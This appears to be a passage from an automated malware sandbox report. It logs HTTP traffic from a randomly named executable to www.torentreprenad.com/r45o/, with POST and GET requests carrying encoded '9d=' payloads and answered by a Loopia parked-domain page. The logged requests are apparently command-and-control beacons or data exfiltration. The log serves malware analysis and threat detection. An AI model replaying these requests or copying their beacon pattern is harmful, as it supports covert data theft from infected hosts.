                                Data Raw: 39 64 3d 74 78 47 5a 57 68 2f 6f 2f 35 38 36 38 69 48 52 36 66 39 50 6c 70 65 6d 57 6a 6d 4a 5a 4f 64 35 50 71 59 53 63 31 35 6d 36 6f 31 55 72 63 50 50 6f 65 31 38 6d 71 76 73 41 41 47 6d 6b 69 2f 79 41 69 76 6c 39 48 58 53 6d 50 76 41 46 6c 50 5a 52 38 38 79 73 33 66 59 41 36 44 79 41 4f 6a 53 34 6e 56 66 68 6a 57 65 63 52 6c 4e 58 2f 32 48 39 59 49 35 59 63 74 32 67 72 6d 75 2b 69 34 6c 37 38 6d 2b 54 37 35 4c 78 45 6d 59 62 74 41 73 35 66 33 4a 36 57 6c 6a 73 38 72 42 58 4f 2b 46 77 6a 48 57 65 68 57 56 58 46 46 30 45 35 76 38 78 58 79 48 57 49 35 59 6a 6a 69 39 47 36 58 2f 6c 31 71 63 44 42 69 77 4c 49 45 65 4d 5a 56 4d 51 77 3d 3d
                                Data Ascii: 9d=txGZWh/o/5868iHR6f9PlpemWjmJZOd5PqYSc15m6o1UrcPPoe18mqvsAAGmki/yAivl9HXSmPvAFlPZR88ys3fYA6DyAOjS4nVfhjWecRlNX/2H9YI5Yct2grmu+i4l78m+T75LxEmYbtAs5f3J6Wljs8rBXO+FwjHWehWVXFF0E5v8xXyHWI5Yjji9G6X/l1qcDBiwLIEeMZVMQw==
                                Jun 5, 2024 18:29:18.210161924 CEST1236INHTTP/1.1 200 OK
                                Server: nginx
                                Date: Wed, 05 Jun 2024 16:29:18 GMT
                                Content-Type: text/html; charset=UTF-8
                                Transfer-Encoding: chunked
                                Connection: close
                                X-Powered-By: PHP/8.1.24
                                Data Raw: 31 35 66 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 09 3c 68 65 61 64 3e 0a 3c 21 2d 2d 20 47 6f 6f 67 6c 65 20 54 61 67 20 4d 61 6e 61 67 65 72 20 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 2c 73 2c 6c 2c 69 29 7b 77 5b 6c 5d 3d 77 5b 6c 5d 7c 7c 5b 5d 3b 77 5b 6c 5d 2e 70 75 73 68 28 7b 27 67 74 6d 2e 73 74 61 72 74 27 3a 0a 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 2c 65 76 65 6e 74 3a 27 67 74 6d 2e 6a 73 27 7d 29 3b 76 61 72 20 66 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 73 29 5b 30 5d 2c 0a 6a [TRUNCATED]
                                Data Ascii: 15f9<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head>... Google Tag Manager --><script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src='https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);})(window,document,'script','dataLayer','GTM-NP3MFSK');</script>... End Google Tag Manager --> <meta http-equiv="X-UA-Compatible" content="IE=EDGE" /><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta name="loopia-test" content="XsdXAIxha8q9Xjamck4H" /><title>Parked at Loopia</title> <link rel="apple-touch-icon" media="screen and (resolution: 163dpi)" href="https://static.loopia.se/responsive/images/iOS-57.png" /> <link rel="apple-touch-icon" media="screen and (resolution [TRUNCATED]
                                Jun 5, 2024 18:29:18.210196972 CEST212INData Raw: 65 2f 72 65 73 70 6f 6e 73 69 76 65 2f 69 6d 61 67 65 73 2f 69 4f 53 2d 37 32 2e 70 6e 67 22 20 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 20
                                Data Ascii: e/responsive/images/iOS-72.png" /> <link rel="apple-touch-icon" media="screen and (resolution: 326dpi)" href="https://static.loopia.se/responsive/images/iOS-114.png" /> <meta name="viewport" content="init
                                Jun 5, 2024 18:29:18.210216999 CEST1236INData Raw: 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 20 3d 20 31 2e 30 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 20 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65
                                Data Ascii: ial-scale=1.0, maximum-scale = 1.0, width=device-width" /> <link rel="stylesheet" type="text/css" href="https://static.loopia.se/responsive/styles/reset.css" /> <link rel="stylesheet" type="text/css" href="https://static.loopia.se/s
                                Jun 5, 2024 18:29:18.210236073 CEST1236INData Raw: 20 73 74 61 72 74 65 64 3f 20 4c 6f 67 69 6e 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6c 6f 6f 70 69 61 2e 63 6f 6d 2f 6c 6f 67 69 6e 3f 75 74 6d 5f 6d 65 64 69 75 6d 3d 73 69 74 65 6c 69 6e 6b 26 75 74 6d 5f 73
                                Data Ascii: started? Login to <a href="https://www.loopia.com/login?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingweb&utm_content=login">Loopia Customer zone</a> and actualize your plan.</p> <div class="div
                                Jun 5, 2024 18:29:18.210253954 CEST1236INData Raw: 69 74 68 20 4c 6f 6f 70 69 61 44 4e 53 2c 20 79 6f 75 20 77 69 6c 6c 20 62 65 20 61 62 6c 65 20 74 6f 20 6d 61 6e 61 67 65 20 79 6f 75 72 20 64 6f 6d 61 69 6e 73 20 69 6e 20 6f 6e 65 20 73 69 6e 67 6c 65 20 70 6c 61 63 65 20 69 6e 20 4c 6f 6f 70
                                Data Ascii: ith LoopiaDNS, you will be able to manage your domains in one single place in Loopia Customer zone. <a href="https://www.loopia.com/loopiadns/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingweb&utm_content=dns">Read more
                                Jun 5, 2024 18:29:18.210275888 CEST636INData Raw: 61 72 6b 69 6e 67 77 65 62 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 70 61 72 6b 69 6e 67 77 65 62 26 75 74 6d 5f 63 6f 6e 74 65 6e 74 3d 68 6f 73 74 69 6e 67 22 20 63 6c 61 73 73 3d 22 62 74 6e 20 62 74 6e 2d 70 72 69 6d 61 72 79 22 3e 4f 75 72
                                Data Ascii: arkingweb&utm_campaign=parkingweb&utm_content=hosting" class="btn btn-primary">Our web hosting packages</a></div>... /END .main --><div id="footer" class="center"><span id="footer_se" class='lang_se'><a href="https://www.loop
                                Jun 5, 2024 18:29:18.210290909 CEST30INData Raw: 6e 74 20 2d 2d 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a
                                Data Ascii: nt --></body></html>0


                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                31192.168.2.749741194.9.94.86804300C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe
                                TimestampBytes transferredDirectionData
                                Jun 5, 2024 18:29:19.910940886 CEST740OUTPOST /r45o/ HTTP/1.1
                                Host: www.torentreprenad.com
                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                Accept-Encoding: gzip, deflate, br
                                Accept-Language: en-US,en;q=0.9
                                Connection: close
                                Content-Type: application/x-www-form-urlencoded
                                Cache-Control: no-cache
                                Content-Length: 235
                                Origin: http://www.torentreprenad.com
                                Referer: http://www.torentreprenad.com/r45o/
                                User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
                                Data Raw: 39 64 3d 74 78 47 5a 57 68 2f 6f 2f 35 38 36 74 79 62 52 70 2f 42 50 6a 4a 65 68 4b 7a 6d 4a 58 75 64 39 50 71 55 53 63 33 56 32 36 39 46 55 79 2b 48 50 70 63 52 38 68 71 76 73 49 67 47 6a 38 43 2f 37 41 69 7a 58 39 43 76 53 6d 50 37 41 46 6e 58 5a 53 4c 6f 78 74 6e 66 57 4e 61 44 77 4f 75 6a 53 34 6e 56 66 68 69 79 67 63 53 56 4e 58 73 75 48 79 5a 49 32 47 4d 74 33 6e 72 6d 75 6f 69 34 68 37 38 6d 58 54 37 4a 68 78 43 71 59 62 76 6f 73 34 4f 33 49 68 47 6b 4a 79 4d 71 5a 58 66 4b 42 78 77 66 47 59 6a 61 30 4a 6d 42 4d 4d 76 79 65 72 31 2b 72 49 5a 42 6a 6e 68 47 4c 52 63 4b 4b 6e 30 75 45 4f 6a 57 52 55 2f 68 30 42 4c 30 49 47 4d 75 39 75 44 49 33 7a 6e 7a 36 49 6b 52 37 59 6e 55 4a 6f 42 41 3d
                                Data Ascii: 9d=txGZWh/o/586tybRp/BPjJehKzmJXud9PqUSc3V269FUy+HPpcR8hqvsIgGj8C/7AizX9CvSmP7AFnXZSLoxtnfWNaDwOujS4nVfhiygcSVNXsuHyZI2GMt3nrmuoi4h78mXT7JhxCqYbvos4O3IhGkJyMqZXfKBxwfGYja0JmBMMvyer1+rIZBjnhGLRcKKn0uEOjWRU/h0BL0IGMu9uDI3znz6IkR7YnUJoBA=
                                Jun 5, 2024 18:29:20.773403883 CEST1236INHTTP/1.1 200 OK
                                Server: nginx
                                Date: Wed, 05 Jun 2024 16:29:20 GMT
                                Content-Type: text/html; charset=UTF-8
                                Transfer-Encoding: chunked
                                Connection: close
                                X-Powered-By: PHP/8.1.24
                                Data Raw: 31 35 66 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 09 3c 68 65 61 64 3e 0a 3c 21 2d 2d 20 47 6f 6f 67 6c 65 20 54 61 67 20 4d 61 6e 61 67 65 72 20 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 2c 73 2c 6c 2c 69 29 7b 77 5b 6c 5d 3d 77 5b 6c 5d 7c 7c 5b 5d 3b 77 5b 6c 5d 2e 70 75 73 68 28 7b 27 67 74 6d 2e 73 74 61 72 74 27 3a 0a 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 2c 65 76 65 6e 74 3a 27 67 74 6d 2e 6a 73 27 7d 29 3b 76 61 72 20 66 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 73 29 5b 30 5d 2c 0a 6a [TRUNCATED]
                                Data Ascii: 15f9<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head>... Google Tag Manager --><script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src='https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);})(window,document,'script','dataLayer','GTM-NP3MFSK');</script>... End Google Tag Manager --> <meta http-equiv="X-UA-Compatible" content="IE=EDGE" /><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta name="loopia-test" content="XsdXAIxha8q9Xjamck4H" /><title>Parked at Loopia</title> <link rel="apple-touch-icon" media="screen and (resolution: 163dpi)" href="https://static.loopia.se/responsive/images/iOS-57.png" /> <link rel="apple-touch-icon" media="screen and (resolution [TRUNCATED]
                                Jun 5, 2024 18:29:20.773430109 CEST212INData Raw: 65 2f 72 65 73 70 6f 6e 73 69 76 65 2f 69 6d 61 67 65 73 2f 69 4f 53 2d 37 32 2e 70 6e 67 22 20 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 20
                                Data Ascii: e/responsive/images/iOS-72.png" /> <link rel="apple-touch-icon" media="screen and (resolution: 326dpi)" href="https://static.loopia.se/responsive/images/iOS-114.png" /> <meta name="viewport" content="init
                                Jun 5, 2024 18:29:20.773446083 CEST1236INData Raw: 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 20 3d 20 31 2e 30 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 20 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65
                                Data Ascii: ial-scale=1.0, maximum-scale = 1.0, width=device-width" /> <link rel="stylesheet" type="text/css" href="https://static.loopia.se/responsive/styles/reset.css" /> <link rel="stylesheet" type="text/css" href="https://static.loopia.se/s
                                Jun 5, 2024 18:29:20.773483038 CEST1236INData Raw: 20 73 74 61 72 74 65 64 3f 20 4c 6f 67 69 6e 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6c 6f 6f 70 69 61 2e 63 6f 6d 2f 6c 6f 67 69 6e 3f 75 74 6d 5f 6d 65 64 69 75 6d 3d 73 69 74 65 6c 69 6e 6b 26 75 74 6d 5f 73
                                Data Ascii: started? Login to <a href="https://www.loopia.com/login?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingweb&utm_content=login">Loopia Customer zone</a> and actualize your plan.</p> <div class="div
                                Jun 5, 2024 18:29:20.773490906 CEST1236INData Raw: 69 74 68 20 4c 6f 6f 70 69 61 44 4e 53 2c 20 79 6f 75 20 77 69 6c 6c 20 62 65 20 61 62 6c 65 20 74 6f 20 6d 61 6e 61 67 65 20 79 6f 75 72 20 64 6f 6d 61 69 6e 73 20 69 6e 20 6f 6e 65 20 73 69 6e 67 6c 65 20 70 6c 61 63 65 20 69 6e 20 4c 6f 6f 70
                                Data Ascii: ith LoopiaDNS, you will be able to manage your domains in one single place in Loopia Customer zone. <a href="https://www.loopia.com/loopiadns/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingweb&utm_content=dns">Read more
                                Jun 5, 2024 18:29:20.773660898 CEST666INData Raw: 61 72 6b 69 6e 67 77 65 62 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 70 61 72 6b 69 6e 67 77 65 62 26 75 74 6d 5f 63 6f 6e 74 65 6e 74 3d 68 6f 73 74 69 6e 67 22 20 63 6c 61 73 73 3d 22 62 74 6e 20 62 74 6e 2d 70 72 69 6d 61 72 79 22 3e 4f 75 72
                                Data Ascii: arkingweb&utm_campaign=parkingweb&utm_content=hosting" class="btn btn-primary">Our web hosting packages</a></div>... /END .main --><div id="footer" class="center"><span id="footer_se" class='lang_se'><a href="https://www.loop


                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                32192.168.2.749742194.9.94.86804300C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe
                                TimestampBytes transferredDirectionData
                                Jun 5, 2024 18:29:22.445214987 CEST1753OUTPOST /r45o/ HTTP/1.1
                                Host: www.torentreprenad.com
                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                Accept-Encoding: gzip, deflate, br
                                Accept-Language: en-US,en;q=0.9
                                Connection: close
                                Content-Type: application/x-www-form-urlencoded
                                Cache-Control: no-cache
                                Content-Length: 1247
                                Origin: http://www.torentreprenad.com
                                Referer: http://www.torentreprenad.com/r45o/
                                User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
                                Data Raw: 39 64 3d 74 78 47 5a 57 68 2f 6f 2f 35 38 36 74 79 62 52 70 2f 42 50 6a 4a 65 68 4b 7a 6d 4a 58 75 64 39 50 71 55 53 63 33 56 32 36 38 52 55 79 73 2f 50 6f 39 52 38 67 71 76 73 47 41 47 69 38 43 2b 35 41 69 36 63 39 43 72 43 6d 4e 44 41 44 45 66 5a 58 2b 55 78 34 33 66 57 45 36 44 78 41 4f 6a 39 34 6e 46 62 68 6a 43 67 63 53 56 4e 58 75 61 48 31 49 49 32 45 4d 74 32 67 72 6d 69 2b 69 34 4a 37 38 2b 74 54 36 39 62 77 79 4b 59 61 50 34 73 30 63 76 49 38 57 6c 76 7a 4d 71 4b 58 66 58 66 78 7a 37 77 59 6d 6d 4b 4a 6b 42 4d 64 37 48 58 2f 47 4f 4a 4c 59 78 51 74 77 75 34 47 74 4f 61 67 6d 79 6d 4b 51 2f 78 53 66 74 4c 4b 64 59 6d 41 38 2b 67 37 69 4d 53 38 54 4c 32 41 30 73 79 44 33 38 7a 71 48 7a 2f 6b 62 57 41 6f 6a 55 73 38 78 61 63 4c 6a 64 55 73 48 6f 2b 70 67 34 2b 30 4d 51 35 79 65 62 50 38 34 56 73 30 45 74 58 36 4a 63 4b 6c 51 44 6c 6e 69 49 43 4a 78 75 6a 30 36 47 34 41 6e 5a 5a 34 57 55 59 54 36 54 78 39 48 50 4e 47 6a 44 69 56 71 49 76 38 67 5a 39 5a 30 79 6d 6a 6b 4d 6b 52 70 59 31 6a 6d 6a [TRUNCATED]
                                Data Ascii: 9d=txGZWh/o/586tybRp/BPjJehKzmJXud9PqUSc3V268RUys/Po9R8gqvsGAGi8C+5Ai6c9CrCmNDADEfZX+Ux43fWE6DxAOj94nFbhjCgcSVNXuaH1II2EMt2grmi+i4J78+tT69bwyKYaP4s0cvI8WlvzMqKXfXfxz7wYmmKJkBMd7HX/GOJLYxQtwu4GtOagmymKQ/xSftLKdYmA8+g7iMS8TL2A0syD38zqHz/kbWAojUs8xacLjdUsHo+pg4+0MQ5yebP84Vs0EtX6JcKlQDlniICJxuj06G4AnZZ4WUYT6Tx9HPNGjDiVqIv8gZ9Z0ymjkMkRpY1jmjHNC3Uo7R/CFLG/wd2ZWIQIEnQYzovh42riss4H7f4AQj/yWmHfZluwc3GgwmItoPqCo0/uT4Q6TZ21Vg7TVhNZ0b9RgSR/HWItXp/D0EvzlPppGPtM8I0FC6A+ikqAWD7RXn32eyVDaOQ+XbK98bk++dSQ2jCLD+bn4c8MhZU86SRWlb3q64GPXu1zAVTYyTorksVusLB/Aoh4hocjs7sMWjbpHMfKH04FWP8DPZ1+3N2EQg9OrGfIgAea1k2Jdi2kEOVR2+30e5fkUg7H+lyZSw+GBDDV3RuO11+AGDAI+82snQF0sWccCEqNKGeBOqbOpn+imtquLnuh+oRbxHB+Ov6l39G5pDtQnK0TMpU5qXhm2YrO8MmUesXn6hIkla65y3R3u2OFJ4paVeh7NaBUKmYLW45pZNskPLSxKWniXBZ3JdZfKR7zM+XHE1BdewkPD5g/eHiJ/2Ij0SU/yddcjUIILfnEHx/JToIkrpRIN2J8xp+l2sgUtROo4LdecEb2x6MJ933ImTj0vjAkABVZk25cT5DxdwUCDJ9nThbcsWh2eMqrpJVHdoMpUgtcHb6jHyUOksPA4AowjEhdAgdXKAoK5OKMujTTgZ8Ybx6h3RdSltJm9VzHDdj6DECte8Zuf6nezgTbILxnPBmJ3mN6QPHlMjprDmgl [TRUNCATED]
                                Jun 5, 2024 18:29:23.273221970 CEST1236INHTTP/1.1 200 OK
                                Server: nginx
                                Date: Wed, 05 Jun 2024 16:29:23 GMT
                                Content-Type: text/html; charset=UTF-8
                                Transfer-Encoding: chunked
                                Connection: close
                                X-Powered-By: PHP/8.1.24
                                Data Raw: 31 35 66 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 09 3c 68 65 61 64 3e 0a 3c 21 2d 2d 20 47 6f 6f 67 6c 65 20 54 61 67 20 4d 61 6e 61 67 65 72 20 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 2c 73 2c 6c 2c 69 29 7b 77 5b 6c 5d 3d 77 5b 6c 5d 7c 7c 5b 5d 3b 77 5b 6c 5d 2e 70 75 73 68 28 7b 27 67 74 6d 2e 73 74 61 72 74 27 3a 0a 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 2c 65 76 65 6e 74 3a 27 67 74 6d 2e 6a 73 27 7d 29 3b 76 61 72 20 66 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 73 29 5b 30 5d 2c 0a 6a [TRUNCATED]
                                Data Ascii: 15f9<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head>... Google Tag Manager --><script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src='https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);})(window,document,'script','dataLayer','GTM-NP3MFSK');</script>... End Google Tag Manager --> <meta http-equiv="X-UA-Compatible" content="IE=EDGE" /><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta name="loopia-test" content="XsdXAIxha8q9Xjamck4H" /><title>Parked at Loopia</title> <link rel="apple-touch-icon" media="screen and (resolution: 163dpi)" href="https://static.loopia.se/responsive/images/iOS-57.png" /> <link rel="apple-touch-icon" media="screen and (resolution [TRUNCATED]
                                Jun 5, 2024 18:29:23.273247957 CEST1236INData Raw: 65 2f 72 65 73 70 6f 6e 73 69 76 65 2f 69 6d 61 67 65 73 2f 69 4f 53 2d 37 32 2e 70 6e 67 22 20 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 20
                                Data Ascii: e/responsive/images/iOS-72.png" /> <link rel="apple-touch-icon" media="screen and (resolution: 326dpi)" href="https://static.loopia.se/responsive/images/iOS-114.png" /> <meta name="viewport" content="initial-scale=1.0, maximum-scale =
                                Jun 5, 2024 18:29:23.273262024 CEST1236INData Raw: 74 6d 5f 6d 65 64 69 75 6d 3d 73 69 74 65 6c 69 6e 6b 26 75 74 6d 5f 73 6f 75 72 63 65 3d 6c 6f 6f 70 69 61 5f 70 61 72 6b 69 6e 67 77 65 62 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 70 61 72 6b 69 6e 67 77 65 62 26 75 74 6d 5f 63 6f 6e 74 65 6e
                                Data Ascii: tm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingweb&utm_content=whois">LoopiaWHOIS</a> to view the domain holder's public information.</p><p>Are you the owner of the domain and want to get started? Login to <a href="htt
                                Jun 5, 2024 18:29:23.273279905 CEST1236INData Raw: 74 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 46 69 6e 64 20 79 6f 75 72 20 64 65 73 69 72 65 64 20 64 6f 6d 61 69 6e 22 3e 0a 09 09 09 09 09 3c 62 75 74 74 6f 6e 20 69 64 3d 22 73 65 61 72 63 68 2d 62 74 6e 22 20 63 6c 61 73 73 3d 22 62 74 6e
                                Data Ascii: t" placeholder="Find your desired domain"><button id="search-btn" class="btn btn-search" type="submit"></button></form></div><h3>Get full control of your domains with LoopiaDNS</h3><p>With LoopiaDNS, you will be able
                                Jun 5, 2024 18:29:23.273323059 CEST878INData Raw: 72 6b 69 6e 67 77 65 62 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 70 61 72 6b 69 6e 67 77 65 62 26 75 74 6d 5f 63 6f 6e 74 65 6e 74 3d 73 69 74 65 62 75 69 6c 64 65 72 22 3e 43 72 65 61 74 65 20 79 6f 75 72 20 77 65 62 73 69 74 65 20 77 69 74 68
                                Data Ascii: rkingweb&utm_campaign=parkingweb&utm_content=sitebuilder">Create your website with Loopia Sitebuilder</a></li></ul></p><a href="https://www.loopia.com/hosting/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingw


                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                33192.168.2.749743194.9.94.86804300C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe
                                TimestampBytes transferredDirectionData
                                Jun 5, 2024 18:29:24.987701893 CEST453OUTGET /r45o/?9d=gzu5VRbRlKcxtienrOg/vYWmVRq4TNxrFroidVFNmLFBxOvIucJSpLXaDw+Y+myNYDD7xGaCks3CSH70SMI2pnLhFLXOBLrZylJOsjWCWApEJOKs/ooDCJFxqK6p3RZXycGtf6I8hj/U&G0a=VFN0vBc0ol1ljnb0 HTTP/1.1
                                Host: www.torentreprenad.com
                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                Accept-Language: en-US,en;q=0.9
                                Connection: close
                                User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
                                Jun 5, 2024 18:29:25.861164093 CEST1236INHTTP/1.1 200 OK
                                Server: nginx
                                Date: Wed, 05 Jun 2024 16:29:25 GMT
                                Content-Type: text/html; charset=UTF-8
                                Transfer-Encoding: chunked
                                Connection: close
                                X-Powered-By: PHP/8.1.24
                                Data Raw: 31 35 66 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 09 3c 68 65 61 64 3e 0a 3c 21 2d 2d 20 47 6f 6f 67 6c 65 20 54 61 67 20 4d 61 6e 61 67 65 72 20 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 2c 73 2c 6c 2c 69 29 7b 77 5b 6c 5d 3d 77 5b 6c 5d 7c 7c 5b 5d 3b 77 5b 6c 5d 2e 70 75 73 68 28 7b 27 67 74 6d 2e 73 74 61 72 74 27 3a 0a 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 2c 65 76 65 6e 74 3a 27 67 74 6d 2e 6a 73 27 7d 29 3b 76 61 72 20 66 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 73 29 5b 30 5d 2c 0a 6a [TRUNCATED]
